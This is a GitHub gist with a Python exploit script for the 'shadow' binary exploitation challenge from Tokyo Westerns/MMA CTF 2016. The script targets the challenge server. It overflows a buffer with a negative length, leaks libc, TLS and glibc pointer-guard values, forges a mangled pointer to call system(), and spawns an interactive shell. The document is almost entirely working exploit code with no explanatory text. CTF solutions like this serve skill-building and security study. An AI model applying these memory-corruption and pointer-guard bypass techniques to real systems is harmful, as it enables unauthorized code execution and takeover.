Skip to content

Instantly share code, notes, and snippets.

@akiym
Created September 7, 2016 08:23
Show Gist options
  • Save akiym/8aeb8b03d9212ac4d1f3592a55c52723 to your computer and use it in GitHub Desktop.
Save akiym/8aeb8b03d9212ac4d1f3592a55c52723 to your computer and use it in GitHub Desktop.
shadow - Tokyo Westerns / MMA CTF 2nd 2016
# -*- coding: utf-8 -*-
import os
import sys
import time
import re
import struct
import socket
p = lambda x: struct.pack('<I', x)
u = lambda x: struct.unpack('<I', x)[0]
def connect(host, port):
return socket.create_connection((host, port))
def recvuntil(st, debug=False):
ret = ''
while st not in ret:
lret = s.recv(1)
if debug and len(lret) > 0:
sys.stdout.write(lret)
ret += lret
return ret
def recvn(n):
ret = ''
while len(ret) != n:
ret += s.recv(1)
return ret
def interact():
import telnetlib
t = telnetlib.Telnet()
t.sock = s
t.interact()
def process(cmd):
import subprocess
return subprocess.check_output(cmd, shell=True, stderr=subprocess.STDOUT)
REMOTE = len(sys.argv) >= 2 and sys.argv[1] == 'r'
if REMOTE:
host = 'pwn2.chal.ctf.westerns.tokyo'
port = 18294
offset = {
'__libc_start_main': 0x19a00,
'system': 0x40310,
'/bin/sh': 0x16084c, # str
}
else:
host = '127.0.0.1'
port = 4000
offset = {
'__libc_start_main': 0x19990,
'system': 0x40190,
'/bin/sh': 0x160a24, # str
}
s = connect(host, port)
bss = 0x804a020+0x300
def change_name(change=True):
recvuntil(': ')
s.send('y' if change else 'n')
recvuntil('Input name : ')
s.send('N' * 16)
recvuntil('Message length : ')
s.send('-1\n')
recvuntil('Input message : ')
s.send('A' * 44)
recvuntil('A' * 44)
buf = u(recvn(4)) - 0x4c
print 'buf : %x' % buf
change_name(False)
recvuntil('Message length : ')
s.send('-1\n')
recvuntil('Input message : ')
payload = (
'A' * 52 +
p(bss) + # name
p(0x1000) + # name_length
p(100) + # times
''
)
s.send(payload)
change_name(False)
def read_address(addr):
recvuntil('Message length : ')
s.send('-1\n')
recvuntil('Input message : ')
s.send('A' * 52 + p(addr))
change_name(False)
recvuntil('Message length : ')
s.send('-1\n')
recvuntil('Input message : ')
s.send('A')
recvuntil(') <')
res = u(recvn(4))
change_name(False)
return res
libc = read_address(buf+0x7c)
if REMOTE:
libc -= 0x19a83 + 0x70
else:
libc -= 0x19a83
print 'libc : %x' % libc
tls = read_address(buf-0x454)
print 'tls : %x' % tls
xor_key = read_address(tls+0x18)
print 'xor_key : %x' % xor_key
def write_address(addr, value):
recvuntil('Message length : ')
s.send('-1\n')
recvuntil('Input message : ')
s.send('A' * 52 + p(addr))
change_name()
recvuntil('Input name : ')
s.send(value)
leaveret = 0x80485e8
payload = (
p(bss+4 ^ xor_key) +
p(leaveret ^ xor_key) +
p(libc + offset['system']) +
p(0xdeadbeef) +
p(0x8048313) + # ed
''
)
write_address(bss, payload)
write_address(tls+0x20, p(bss))
s.send('!sh\n')
interact()
Sign up for free to join this conversation on GitHub. Already have an account? Sign in to comment